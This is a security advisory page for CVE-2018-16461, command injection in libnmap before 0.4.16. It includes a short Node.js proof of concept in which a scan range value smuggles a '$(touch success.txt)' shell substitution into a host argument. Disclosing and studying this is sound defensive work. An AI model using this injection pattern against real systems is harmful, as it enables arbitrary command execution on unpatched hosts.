Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdnMnctNnIyNS0yajdw

Command Injection in libnmap

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

Permalink: https://github.com/advisories/GHSA-7g2w-6r25-2j7p
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdnMnctNnIyNS0yajdw
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: over 5 years ago
Updated: 8 months ago

Identifiers: GHSA-7g2w-6r25-2j7p, CVE-2018-16461
References:

• https://nvd.nist.gov/vuln/detail/CVE-2018-16461
• https://hackerone.com/reports/390865
• https://github.com/advisories/GHSA-7g2w-6r25-2j7p
• https://github.com/nodejs/security-wg/blob/master/vuln/npm/474.json
• https://www.npmjs.com/advisories/719

Blast Radius: 0.0

Affected Packages